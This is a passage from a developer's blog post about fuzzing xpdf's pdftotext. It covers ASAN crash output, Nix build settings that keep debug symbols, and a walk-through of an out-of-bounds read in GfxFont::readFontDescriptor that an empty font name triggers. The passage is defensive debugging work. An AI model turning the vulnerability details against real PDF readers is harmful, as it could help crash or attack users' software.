&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>READ of size 1 at 0x60200002228f thread T0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #0 0x557c3230bd57 (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3e3d57)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #1 0x557c3231f6ea (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3f76ea)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #2 0x557c32327a0d (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3ffa0d)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #3 0x557c3232733c (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3ff33c)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #4 0x557c322bfaa7 (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x397aa7)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SUMMARY: AddressSanitizer: heap-buffer-overflow (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3e3d57)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Shadow bytes around the buggy address:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 0x602000022000: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 0x602000022080: fa fa fd fd fa fa fd fd fa fa 00 01 fa fa fd fd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 0x602000022100: fa fa 00 03 fa fa fd fa fa fa 00 00 fa fa fd fa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 0x602000022180: fa fa fd fa fa fa fd fd fa fa 00 02 fa fa fd fa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 0x602000022200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00 00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=&amp;gt;0x602000022280: fa[fa]00 fa fa fa fd fa fa fa fd fa fa fa fd fa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 0x602000022300: fa fa fd fa fa fa fd fa fa fa 03 fa fa fa fd fa
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>ASAN&amp;rsquo;s error message is a bit arcane, but it&amp;rsquo;s telling me that ASAN caught &lt;code>pdftotext&lt;/code> trying to read 1 byte outside of the buffer that &lt;code>pdftotext&lt;/code>&amp;rsquo;s code had allocated.&lt;/p>
&lt;p>So, how do I dig deeper into what&amp;rsquo;s causing this crash?&lt;/p>
&lt;h2 id="improving-debug-symbols">Improving debug symbols&lt;/h2>
&lt;p>When &lt;code>pdftotext&lt;/code> crashed, I hoped to see a stack trace that included source filenames and line numbers. Instead, the output was just binary offsets, which makes debugging harder:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>#0 0x557c3230bd57 (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3e3d57)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>#1 0x557c3231f6ea (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3f76ea)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>#2 0x557c32327a0d (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3ffa0d)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Strangely, the hardest part of this whole process was figuring out how to get debug symbols to work properly so I could see source information in my crash dumps.&lt;/p>
&lt;p>First, I happened to notice that &lt;code>nix run&lt;/code>&amp;rsquo;s log output said something about stripping debug output from the binary. It turns out that Nix has &lt;a href="https://nixos.org/manual/nixpkgs/stable/#var-stdenv-dontStrip">a &lt;code>dontStrip&lt;/code> option&lt;/a> that defaults to &lt;code>false&lt;/code>, meaning that it automatically strips debug information.&lt;/p>
&lt;p>I also noticed that xpdf&amp;rsquo;s &lt;a href="https://gitlab.com/mtlynch/xpdf/-/blob/4.05/INSTALL#54">compile instructions&lt;/a> mentioned a &lt;code>CMAKE_BUILD_TYPE&lt;/code> option. It&amp;rsquo;s not documented, but searching the source &lt;a href="https://gitlab.com/mtlynch/xpdf/-/blob/4.05/cmake-config.txt#L48">revealed that it accepted a value of &lt;code>Debug&lt;/code>&lt;/a>.&lt;/p>
&lt;p>To preserve debug symbols in my xpdf binaries, I added these options to the end of my &lt;code>xpdf&lt;/code> package definition:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> preConfigure = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> ...
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cmakeFlags = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;-DCMAKE_BUILD_TYPE=Debug&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Don&amp;#39;t strip debug information from binaries, as the debug symbols&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># are usefule during crash analysis.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dontStrip = &lt;span style="color:#40ffff">true&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, something strange happened. I got rich stack traces with filenames and line numbers, but then they&amp;rsquo;d mysteriously stop working after a few hours. I still don&amp;rsquo;t know why.&lt;/p>
&lt;p>To get the rich stack traces to work consistently, I had to use a tool called &lt;code>llvm-symbolizer&lt;/code>, which I&amp;rsquo;d never heard of before. Fortunately, &lt;code>llvm-symbolizer&lt;/code> ships as part of the popular &lt;a href="https://search.nixos.org/packages?channel=24.05&amp;amp;show=llvm_18&amp;amp;from=0&amp;amp;size=50&amp;amp;sort=relevance&amp;amp;type=packages&amp;amp;query=llvm_18">&lt;code>llvm_18&lt;/code> Nix package&lt;/a>, so I included that package in my Nix flake and added an environment variable called &lt;code>ASAN_SYMBOLIZER_PATH&lt;/code> to point to that binary.&lt;/p>
&lt;p>The changes to my Nix flake are hard to show because they touch several disparate parts of the file, so it&amp;rsquo;s easiest to look at &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/compare/06-asan...07-debug-symbols">the diff&lt;/a>.&lt;/p>
&lt;p>With the changes to my Nix flake, I need to enter the Nix dev shell to see rich stack traces, as that will set the proper &lt;code>ASAN_SYMBOLIZER_PATH&lt;/code> environment value.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Enter the nix dev shell.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Rebuild pdftotext in the result folder&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nix build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Specify the path to the crashing PDF.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CRASHING_PDF&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Run pdftotext with the crashing PDF.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./result/bin/pdftotext &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CRASHING_PDF&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> /dev/null
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then, I should finally see a stack trace with filenames:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>=================================================================
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==1461608==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002228f at pc 0x55555592fff5 bp 0x7fffffffac70 sp 0x7fffffffac68
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>READ of size 1 at 0x60200002228f thread T0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #0 0x55555592fff4 in GString::getChar(int) /build/source/goo/GString.h:82:32
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #1 0x55555592fff4 in GfxFont::readFontDescriptor(XRef*, Dict*) /build/source/xpdf/GfxFont.cc:553:20
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #2 0x5555559423da in GfxCIDFont::GfxCIDFont(XRef*, char const*, Ref, GString*, GfxFontType, Ref, Dict*) /build/source/xpdf/GfxFont.cc:1732:3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #3 0x55555594a065 in GfxFont::makeFont(XRef*, char const*, Ref, Dict*) /build/source/xpdf/GfxFont.cc:190:16
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #22 0x7ffff7a7110d in __libc_start_call_main (/nix/store/r8qsxm85rlxzdac7988psm7gimg4dl3q-glibc-2.39-52/lib/libc.so.6+0x2a10d) (BuildId: 323d12eb412f4a20879fb07d3514ca673c5aee20)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #23 0x7ffff7a711c8 in __libc_start_main@GLIBC_2.2.5 (/nix/store/r8qsxm85rlxzdac7988psm7gimg4dl3q-glibc-2.39-52/lib/libc.so.6+0x2a1c8) (BuildId: 323d12eb412f4a20879fb07d3514ca673c5aee20)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #24 0x555555698a04 in _start (/nix/store/x59ccyx8gz0ap74zapdi7k8ssgypmipm-xpdf-4.05/bin/pdftotext+0x144a04)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It worked! Now, I get source filenames, line numbers, and function names.&lt;/p>
&lt;p>But there&amp;rsquo;s still a problem. Look at the path to any of the files.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>/build/source/xpdf/GfxFont.cc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^^^^^^^^^^^^^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Where is this coming from?
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The xpdf sources all point to a root folder called &lt;code>/build/source&lt;/code>, but that path doesn&amp;rsquo;t exist on my system:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls /build/source
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ls: cannot access &lt;span style="color:#ed9d13">&amp;#39;/build/source&amp;#39;&lt;/span>: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;del>I&amp;rsquo;m not sure if the &lt;code>/build/source&lt;/code> path is a quirk of Nix or of xpdf&amp;rsquo;s build configuration.&lt;/del> (&lt;em>Edit:&lt;/em> The prefix comes from Nix&amp;rsquo;s &lt;a href="https://nix.dev/manual/nix/2.18/command-ref/conf-file#conf-sandbox-build-dir">&lt;code>sandbox-build-dir&lt;/code> option&lt;/a>, which defines the root directory for building from source. Thanks to Dionysis Grigoropoulos for the clarification.)&lt;/p>
&lt;p>The only way I&amp;rsquo;ve been able to fix the &lt;code>/build/source&lt;/code> prefix is with a semi-ugly hack that replaces the incorrect path with the correct one at compile time using clang&amp;rsquo;s &lt;code>-fdebug-prefix-map&lt;/code> flag:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> preConfigure = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> ...
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # For some reason, without these flags, the debug symbols point to
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # source files at the base filesystem /build/source, so we
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # manually fix the source path.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> export CXXFLAGS=&amp;#34;$CXXFLAGS -fdebug-prefix-map=/build/source=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>xpdf.src&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I re-run my &lt;code>nix build&lt;/code> sequence, finally, the stack traces are correct:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>==1498830==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002228f at pc 0x55555592fff5 bp 0x7fffffffac70 sp 0x7fffffffac68
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>READ of size 1 at 0x60200002228f thread T0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #0 0x55555592fff4 in GString::getChar(int) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/goo/GString.h:82:32
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #1 0x55555592fff4 in GfxFont::readFontDescriptor(XRef*, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:553:20
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #2 0x5555559423da in GfxCIDFont::GfxCIDFont(XRef*, char const*, Ref, GString*, GfxFontType, Ref, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:1732:3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #3 0x55555594a065 in GfxFont::makeFont(XRef*, char const*, Ref, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:190:16
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #4 0x55555594a065 in GfxFontDict::load(char*, GfxFontDictEntry*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:2393:12
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I plug that file path into &lt;code>sed&lt;/code>, it prints the file&amp;rsquo;s contents:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sed -n &lt;span style="color:#ed9d13">&amp;#39;548,558p&amp;#39;&lt;/span> /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i -= 2;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#6ab825;font-weight:bold">else&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (i &amp;gt; &lt;span style="color:#3677a9">7&lt;/span> &amp;amp;&amp;amp; !strncmp(name-&amp;gt;getCString() + i - 7, &lt;span style="color:#ed9d13">&amp;#34;Oblique&amp;#34;&lt;/span>, 7)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flags |= fontItalic;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i -= 7;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> char &lt;span style="color:#40ffff">c&lt;/span> = name-&amp;gt;getChar(i-1);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (!((c &amp;gt;= &lt;span style="color:#ed9d13">&amp;#39;A&amp;#39;&lt;/span> &amp;amp;&amp;amp; c &amp;lt;= &lt;span style="color:#ed9d13">&amp;#39;Z&amp;#39;&lt;/span>) ||
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (c &amp;gt;= &lt;span style="color:#ed9d13">&amp;#39;a&amp;#39;&lt;/span> &amp;amp;&amp;amp; c &amp;lt;= &lt;span style="color:#ed9d13">&amp;#39;z&amp;#39;&lt;/span>) ||
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (c &amp;gt;= &lt;span style="color:#ed9d13">&amp;#39;0&amp;#39;&lt;/span> &amp;amp;&amp;amp; c &amp;lt;= &lt;span style="color:#ed9d13">&amp;#39;9&amp;#39;&lt;/span>))) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> --i;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, &lt;code>flake.nix&lt;/code> should &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/blob/07-debug-symbols/flake.nix">look like this&lt;/a>.&lt;/p>
&lt;h2 id="understanding-the-crash">Understanding the crash&lt;/h2>
&lt;p>I now have an out-of-bounds memory read that crashes consistently. I&amp;rsquo;ve got all the debugging information I need to understand this bug, so it&amp;rsquo;s time to dive into the source.&lt;/p>
&lt;p>The top of the stack trace points to &lt;a href="https://gitlab.com/mtlynch/xpdf/-/blob/4.05/goo/GString.h#L82">this line&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// goo/GString.h
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Get &amp;lt;i&amp;gt;th character.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> &lt;span style="color:#447fcf">getChar&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> i) { &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> s[i]; }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, so &lt;code>s&lt;/code> is a &lt;code>char&lt;/code> buffer, so it probably contains a C-style string. The &lt;code>getChar&lt;/code> function doesn&amp;rsquo;t perform any bounds-checking to ensure that the caller is passing a legal value for &lt;code>i&lt;/code>, and so the function is reading memory outside of the buffer that was allocated for &lt;code>s&lt;/code>.&lt;/p>
&lt;p>I&amp;rsquo;ll step back one level and check how &lt;code>getChar&lt;/code> was called just before the crash. The &lt;a href="https://gitlab.com/mtlynch/xpdf/-/blob/4.05/xpdf/GfxFont.cc#L553">next line&lt;/a> of the stack trace points here:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// xpdf/GfxFont.cc
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> GfxFont::readFontDescriptor(XRef *xref, Dict *fontDict) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// scan font name for bold/italic tags and update the flags
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (name) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i = name-&amp;gt;getLength();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (i &amp;gt; &lt;span style="color:#3677a9">2&lt;/span> &amp;amp;&amp;amp; !strncmp(name-&amp;gt;getCString() + i - &lt;span style="color:#3677a9">2&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;MT&amp;#34;&lt;/span>, &lt;span style="color:#3677a9">2&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i -= &lt;span style="color:#3677a9">2&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> c = name-&amp;gt;getChar(i-&lt;span style="color:#3677a9">1&lt;/span>); &lt;span style="color:#999;font-style:italic">// &amp;lt;&amp;lt;&amp;lt; CRASH
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, this is actually a fairly simple bug.&lt;/p>
&lt;p>&lt;code>readFontDescriptor&lt;/code> checks that &lt;code>name&lt;/code> is not &lt;code>NULL&lt;/code>, but it assumes that it has a length of at least 1. If &lt;code>name&lt;/code> is an empty string (length 0), then the &lt;code>getChar&lt;/code> call evaluates to &lt;code>name-&amp;gt;getChar(-1)&lt;/code>. Then, &lt;code>getChar&lt;/code> returns &lt;code>s[-1]&lt;/code>, which is 1 byte before the memory buffer that was allocated for &lt;code>s&lt;/code>.&lt;/p>
&lt;p>The crash&amp;rsquo;s debug output supports my hypothesis:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>==241578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002360f at pc 0x55555592fff5 bp 0x7fffffffa650 sp 0x7fffffffa648
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>READ of size 1 at 0x60200002360f thread T0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #0 0x55555592fff4 in GString::getChar(int) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/goo/GString.h:82:32
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> #1 0x55555592fff4 in GfxFont::readFontDescriptor(XRef*, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:553:20
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SUMMARY: AddressSanitizer: heap-buffer-overflow /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/goo/GString.h:82:32 in GString::getChar(int)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Shadow bytes around the buggy address:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=&amp;gt;0x602000023600: fa[fa]00 fa fa fa fd fd fa fa fd fa fa fa fd fa
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>ASAN said that it&amp;rsquo;s an illegal read of size 1, which makes sense because &lt;code>getChar&lt;/code> tries to read a single 1-byte character.&lt;/p>
&lt;p>ASAN also shows the memory layout where it read the memory address containing byte &lt;code>fa&lt;/code>. That byte appears immediately before an address containing &lt;code>00&lt;/code>. The variable &lt;code>s&lt;/code> contains an empty string, which C++ represents in memory as &lt;code>00&lt;/code>, so &lt;code>pdftotext&lt;/code> was trying to read the byte just before the empty string. That read is illegal because it contains data that was not assigned to the &lt;code>s&lt;/code> variable.&lt;/p>
&lt;h2 id="fixing-the-bug">Fixing the bug&lt;/h2>
&lt;p>If my hypothesis is correct, this bug should be easy to fix. In &lt;code>readFontDescriptor&lt;/code>, I can change this line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (name) {
